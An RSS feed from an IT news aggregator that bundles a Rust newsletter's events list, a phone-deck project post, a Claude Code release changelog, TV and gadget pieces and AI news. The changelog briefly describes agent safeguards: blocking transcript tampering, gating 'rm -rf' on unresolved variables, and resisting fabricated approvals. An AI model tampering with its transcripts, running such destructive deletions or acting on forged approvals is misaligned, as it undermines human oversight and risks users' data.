<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158522">Lint against invalid POSIX symbol definitions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158325">Document NonNull layout guarantees</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/112811">Tracking Issue for <code>slice_split_once</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#language-reference"></a><a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>
<ul>
<li><a href="https://github.com/rust-lang/reference/pull/2293">Empty repr(Rust) enums are ZSTs</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>,
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3982">Update RFC template</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3981">RFC: Store registry tokens in the OS credential store by default</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-08 - 2026-08-05 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-08 | Virtual (Cardiff, GB) | <a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/">Rust and C++ Cardiff</a></li>
<li><a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/315506435/"><strong>Operating Systems Book Club: Introduction + Processes</strong></a></li>
<li>2026-07-08 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/jv9lom12"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-09 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris/events/">Rust Nuremberg</a></li>
<li><a href="https://www.meetup.com/rust-noris/events/315517604/"><strong>Rust Nürnberg online</strong></a></li>
<li>2026-07-14 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/310254778/"><strong>Second Tuesday</strong></a></li>
<li>2026-07-15 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/21k797xr"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a></li>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a></li>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a></li>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a></li>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
<li>2026-07-22 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
<li>2026-08-04 | Virtual (London, GB) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a></li>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs/events/">Indy Rust</a></li>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a></li>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa:</a></h5>
<ul>
<li>2026-07-14 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup/events/">Johannesburg Rust Meetup</a></li>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315573758/"><strong>Debugging a production grade Open Source Rust crate</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-08 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin">Rust Dublin</a></li>
<li><a href="https://www.meetup.com/rust-dublin/events/315150327/"><strong>Join us live and INPERSON for Rust 262</strong></a></li>
<li>2026-07-09 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/315585121/"><strong>Rust Berlin on location 🏳️‍🌈 - Edition 015</strong></a></li>
<li>2026-07-09 | Frankfurt, DE | <a href="https://www.meetup.com/rust-rhein-main/events/">Rust Rhein-Main</a></li>
<li><a href="https://www.meetup.com/rust-rhein-main/events/315366165/"><strong>Building Cross Platform Applications with Ply</strong></a></li>
<li>2026-07-09 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a></li>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
<li>2026-07-15 | Dortmund, DE | <a href="https://www.meetup.com/rust-dortmund/events/">Rust Dortmund</a></li>
<li><a href="https://www.meetup.com/rust-dortmund/events/315496876/"><strong>Teach and Hack at Projektspeicher</strong></a></li>
<li>2026-07-21 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a></li>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816470/"><strong>Supercharge Rust funcs with implicit arguments and context-generic programming</strong></a></li>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a></li>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a></li>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
<li>2026-07-30 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a></li>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-09 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a></li>
<li><a href="https://www.meetup.com/utah-rust/events/314696647/"><strong>Utah Rust July Meetup</strong></a></li>
<li>2026-07-09 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a></li>
<li><a href="https://www.meetup.com/hackerdojo/events/315338107/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
<li>2026-07-11 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315225865/"><strong>MIT Rust Lunch, July 11</strong></a></li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a></li>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a></li>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a></li>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a></li>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a></li>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a></li>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl/events/">Rust Atlanta</a></li>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-09 | Brisbane City, QL, AU | <a href="https://www.meetup.com/rust-brisbane/events/">Rust Brisbane</a></li>
<li><a href="https://www.meetup.com/rust-brisbane/events/315563251/"><strong>Rust Brisbane • July 2026</strong></a></li>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a></li>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a></li>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne/events/">Rust Melbourne</a></li>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>if a ptr is dereferenced in a forest and nobody hears it, is it sound?</p>
</blockquote>
<p>– <a href="https://users.rust-lang.org/t/does-the-indirection-of-a-pointer-immediately-create-a-reference/141071/10">Kornel on rust-users</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1785">Cerber-Ursi</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1ureq0r/this_week_in_rust_659/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Set Up a Home Hacking Lab for Beginners (Free and Legal) (2026)]]></title>
<description><![CDATA[By HOC Team  |  Last updated: July 2026  |  Read time: ~20 min Every ethical hacker, penetration tester,…
The post How to Set Up a Home Hacking Lab for Beginners (Free and Legal) (2026) appeared first on Hackers Online Club.]]></description>
<link>https://tsecurity.de/de/3655972/it-security-nachrichten/how-to-set-up-a-home-hacking-lab-for-beginners-free-and-legal-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655972/it-security-nachrichten/how-to-set-up-a-home-hacking-lab-for-beginners-free-and-legal-2026/</guid>
<pubDate>Thu, 09 Jul 2026 06:52:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>By HOC Team  |  Last updated: July 2026  |  Read time: ~20 min Every ethical hacker, penetration tester,…</p>
<p>The post <a href="https://hackersonlineclub.com/home-hacking-lab-setup/">How to Set Up a Home Hacking Lab for Beginners (Free and Legal) (2026)</a> appeared first on <a href="https://hackersonlineclub.com/">Hackers Online Club</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I built a control deck + remote desktop for my Linux workstation, served to a spare phone over Tailscale (self-hosted, MIT license)]]></title>
<description><![CDATA[A spare Android + a Linux box I kept wanting to nudge without reaching for the keyboard = phone-deck: a self-hosted web deck (FastAPI + WebSockets) that installs on the phone as a fullscreen PWA and drives my Linux/Hyprland desktop over Tailscale. Started as "switch workspaces from the couch," tu...]]></description>
<link>https://tsecurity.de/de/3655739/linux-tipps/i-built-a-control-deck-remote-desktop-for-my-linux-workstation-served-to-a-spare-phone-over-tailscale-self-hosted-mit-license/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655739/linux-tipps/i-built-a-control-deck-remote-desktop-for-my-linux-workstation-served-to-a-spare-phone-over-tailscale-self-hosted-mit-license/</guid>
<pubDate>Thu, 09 Jul 2026 03:54:26 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>A spare Android + a Linux box I kept wanting to nudge without reaching for the keyboard = phone-deck: a self-hosted web deck (FastAPI + WebSockets) that installs on the phone as a fullscreen PWA and drives my Linux/Hyprland desktop over Tailscale. Started as "switch workspaces from the couch," turned into a whole cockpit.</p> <p>What it does:</p> <p>- Remote desktop — streams a monitor to the phone (wf-recorder → PyAV → WebRTC/VP8, so it's Wayland-native, no x11grab); touch the video to drive the cursor, long-press = right-click. "Lock input" turns the phone into a wireless keyboard + mouse + screen.</p> <p>- Remote input — trackpad + soft keyboard + key-chords via python-evdev → /dev/uinput, which works fine under Wayland (no X, and no root once you're in the input group).</p> <p>- Bidirectional audio — listen to the PC on the phone, or use the phone as a mic, via WebRTC + PipeWire null sinks.</p> <p>- The rest — live workspaces/windows off the compositor's IPC, scene layouts, per-monitor screenshots, Android share-sheet → desktop, push-to-talk voice with local whisper + a read-only local-LLM answerer, and a fleet host-switcher (runs on my laptop too).</p> <p>- Idle for a few minutes → an ambient instrument panel (telemetry, clock, now-playing) in a phosphor-CRT skin.</p> <p>Design bit I'm happy with: it pokes a root-ish surface, so the web app runs unprivileged and never executes shell strings — it sends enum action names to a tiny root helper over a unix socket (no argument-injection surface), with auth bound to the tailnet and tailscale serve for HTTPS. Nothing's exposed to the public internet.</p> <p>Honest caveat: it's welded to my setup (Hyprland, my monitor/workspace layout, Tailscale), so it's "here's how I did it, take the code," not a turnkey app — but the input/capture/audio pieces are fairly general Linux and might be useful to lift.</p> <p>Repo (MIT): <a href="http://github.com/smit-shah-GG/phone-deck">github.com/smit-shah-GG/phone-deck</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/GenocideMan99"> /u/GenocideMan99 </a> <br> <span><a href="https://i.redd.it/z2pbb9da14ch1.jpeg">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1urclxg/i_built_a_control_deck_remote_desktop_for_my/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.205]]></title>
<description><![CDATA[What's changed

Added an auto mode rule that blocks tampering with session transcript files
Fixed --json-schema silently producing unstructured output when the schema was invalid, and schemas using the format keyword being rejected
Fixed a message sent while Claude was working being silently lost...]]></description>
<link>https://tsecurity.de/de/3655497/downloads/v21205/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655497/downloads/v21205/</guid>
<pubDate>Wed, 08 Jul 2026 23:31:56 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added an auto mode rule that blocks tampering with session transcript files</li>
<li>Fixed <code>--json-schema</code> silently producing unstructured output when the schema was invalid, and schemas using the <code>format</code> keyword being rejected</li>
<li>Fixed a message sent while Claude was working being silently lost when the turn ended at the <code>--max-turns</code> limit</li>
<li>Fixed Windows worktree removal deleting files outside the worktree when an NTFS junction or directory symlink existed inside it</li>
<li>Fixed background agents staying shown as "failed" or "completed" in the agent list after being resumed with <code>SendMessage</code></li>
<li>Fixed background jobs flipping from "needs input" back to "working" in the agent list when the agent's turn contained no readable text</li>
<li>Fixed <code>claude attach</code> erroring when a background agent was mid-upgrade restart instead of waiting for it to come back</li>
<li>Fixed session-to-PR linking missing a PR created in a Bash call whose output exceeded the 30K inline limit</li>
<li>Fixed <code>claude mcp add-from-claude-desktop</code> getting stuck when a server name contains unsupported characters; invalid names are now reported and remaining servers still import</li>
<li>Fixed a plugin LSP server that fails to initialize preventing a valid LSP server from another plugin handling the same file extension</li>
<li>Fixed a Windows crash when the directory Claude was launched from is deleted, locked, or unmounted while a command is running</li>
<li>Fixed a crash when a file watcher was closed while a directory scan was still in flight</li>
<li>Fixed project verify skills being rewritten on every session instead of only when a documented command changed</li>
<li>Fixed the agent view rendering one line too high and clipping its header when the job list slightly overflowed the screen</li>
<li>Fixed background tasks in the web and mobile Remote Control panels showing stale "Running" status by forwarding full task state on every membership change</li>
<li>Improved auto mode to ask before running <code>rm -rf</code> on a variable it can't resolve from context</li>
<li>Auto-update binary downloads now stream to disk instead of buffering in memory, cutting the updater's peak memory usage by roughly 400 MB</li>
<li>Background task notifications now explicitly state that no human input has occurred, preventing fabricated in-transcript approvals from being acted on</li>
<li>Improved agent view: sessions that edit, merge, comment on, or push to an existing PR now link it in <code>claude agents</code></li>
<li>Improved agent view: rows now show a colored state word and a classifier-written headline instead of raw tool call text, and the peek opens with full status including the exact ask for blocked sessions</li>
<li><code>/doctor</code> is now a full setup checkup that can diagnose and fix issues; <code>/checkup</code> is its alias</li>
<li>Reserved the "Claude Browser" MCP server name (alongside "Claude Preview") ahead of the Claude Desktop pane rename; user-configured MCP servers can no longer register under either name</li>
<li>Fixed Cowork VM-mode local-agent sessions failing to start with "Not logged in · Please run /login" on CLI 2.1.203+</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Trying Season 5 Cast Guide: Every Main Actor and Character]]></title>
<description><![CDATA[Trying Season 5 brings Nikki and Jason back into a much more complicated family story, as Kat arrives in their lives and changes the balance at home. The new season premiered globally on Apple TV on July 8, 2026, with Apple listing the main Season 5 setup around Kat’s return as the biological mot...]]></description>
<link>https://tsecurity.de/de/3655008/ios-mac-os/trying-season-5-cast-guide-every-main-actor-and-character/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655008/ios-mac-os/trying-season-5-cast-guide-every-main-actor-and-character/</guid>
<pubDate>Wed, 08 Jul 2026 19:25:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Trying Season 5 brings Nikki and Jason back into a much more complicated family story, as Kat arrives in their lives and changes the balance at home. The new season premiered globally on Apple TV on July 8, 2026, with Apple listing the main Season 5 setup around Kat’s return as the biological mother of Princess and Tyler.



Who Plays Kat in Trying Season 5?







Kat is played by Charlotte Riley. She becomes one of the most important characters in Season 5 because her arrival directly affects Nikki, Jason, Princess, and Tyler.



Kat is Princess and Tyler’s biological mother, and her appearance at Nikki and Jason’s doorstep brings tension into a family that had finally found some stability. Apple’s official Season 5 description names Kat as the person whose return brings “chaos” into their settled family life.



Who Plays Nikki?







Nikki is played by Esther Smith. She remains the emotional centre of Trying, especially as Season 5 asks her to deal with the fallout of Kat’s return.



Nikki has spent years building a family with Jason, and her role this season becomes more difficult because Princess and Tyler now have questions that love alone cannot answer. Smith also executive produces the new season alongside Rafe Spall.



Who Plays Jason?







Jason is played by Rafe Spall. He returns as Nikki’s husband and Princess and Tyler’s adoptive father.



Jason has always brought warmth and nervous humour to the series, but Season 5 gives him a heavier family conflict to handle. His bond with the children matters even more now because Kat’s arrival forces everyone to rethink trust, honesty, and belonging.



Who Plays Princess?







Princess is played by Scarlett Rayner. She became a major focus in Season 4 after the time jump, and Season 5 continues her emotional journey.



Princess wants answers about her biological mother, and Kat’s sudden arrival gives her the truth in the most disruptive way possible. Apple’s official cast listing includes Scarlett Rayner among the key Season 5 names.



Who Plays Tyler?







Tyler is played by Cooper Turner. Like Princess, Tyler sits at the centre of the new family conflict because Kat is also his biological mother.



Tyler’s role adds another layer to Season 5 because the story is not only about Princess getting answers. It is also about how both children process Kat’s return while Nikki and Jason try to protect the family they have built.



Other Trying Season 5 Cast Members



Trying Season 5 also features familiar and new faces, including Darren Boyd, Siân Brooke, Phil Davis, Celia Imrie, Gbemisola Ikumelo, and Colin Morgan. The eight-episode season releases weekly on Apple TV through August 26, 2026.



At its core, Season 5 uses Kat’s arrival to test every part of Nikki and Jason’s family life. The cast matters because each character now has a clear emotional stake in what happens next.]]></content:encoded>
</item>
<item>
<title><![CDATA[A Month with Logitech’s Innovative Mobi Fold Travel Mouse]]></title>
<description><![CDATA[I can’t recall the last time I was truly excited about a mouse. I primarily use a trackpad whether I’m at my desk or using a laptop. The trouble with a trackpad-only setup, though, is that I sometimes wind up with wrist and elbow pain. That’s why I keep a Logitech MX Master 4 mouse […]]]></description>
<link>https://tsecurity.de/de/3655003/ios-mac-os/a-month-with-logitechs-innovative-mobi-fold-travel-mouse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655003/ios-mac-os/a-month-with-logitechs-innovative-mobi-fold-travel-mouse/</guid>
<pubDate>Wed, 08 Jul 2026 19:25:31 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I can’t recall the last time I was truly excited about a mouse. I primarily use a trackpad whether I’m at my desk or using a laptop. The trouble with a trackpad-only setup, though, is that I sometimes wind up with wrist and elbow pain. That’s why I keep a Logitech MX Master 4 mouse […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic's fix for Fable 5's high cost is turning it into a manager that delegates to Sonnet 5]]></title>
<description><![CDATA[Anthropic recommends using the expensive Claude Fable 5 mainly as a planner for smaller models instead of running it on every task. Combined with Sonnet 5 in the "Advisor" pattern, this setup hits 92 percent of Fable 5's solo performance at 63 percent of the cost.
The article Anthropic's fix for ...]]></description>
<link>https://tsecurity.de/de/3654963/ai-nachrichten/anthropics-fix-for-fable-5s-high-cost-is-turning-it-into-a-manager-that-delegates-to-sonnet-5/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654963/ai-nachrichten/anthropics-fix-for-fable-5s-high-cost-is-turning-it-into-a-manager-that-delegates-to-sonnet-5/</guid>
<pubDate>Wed, 08 Jul 2026 19:18:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/07/claude_logo_money.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Anthropic recommends using the expensive Claude Fable 5 mainly as a planner for smaller models instead of running it on every task. Combined with Sonnet 5 in the "Advisor" pattern, this setup hits 92 percent of Fable 5's solo performance at 63 percent of the cost.</p>
<p>The article <a href="https://the-decoder.com/anthropics-fix-for-fable-5s-high-cost-is-turning-it-into-a-manager-that-delegates-to-sonnet-5/">Anthropic's fix for Fable 5's high cost is turning it into a manager that delegates to Sonnet 5</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.31.2: llm: allow iGPU mmproj offload with fit padding (#16996)]]></title>
<description><![CDATA[llm: allow iGPU mmproj offload with fit padding

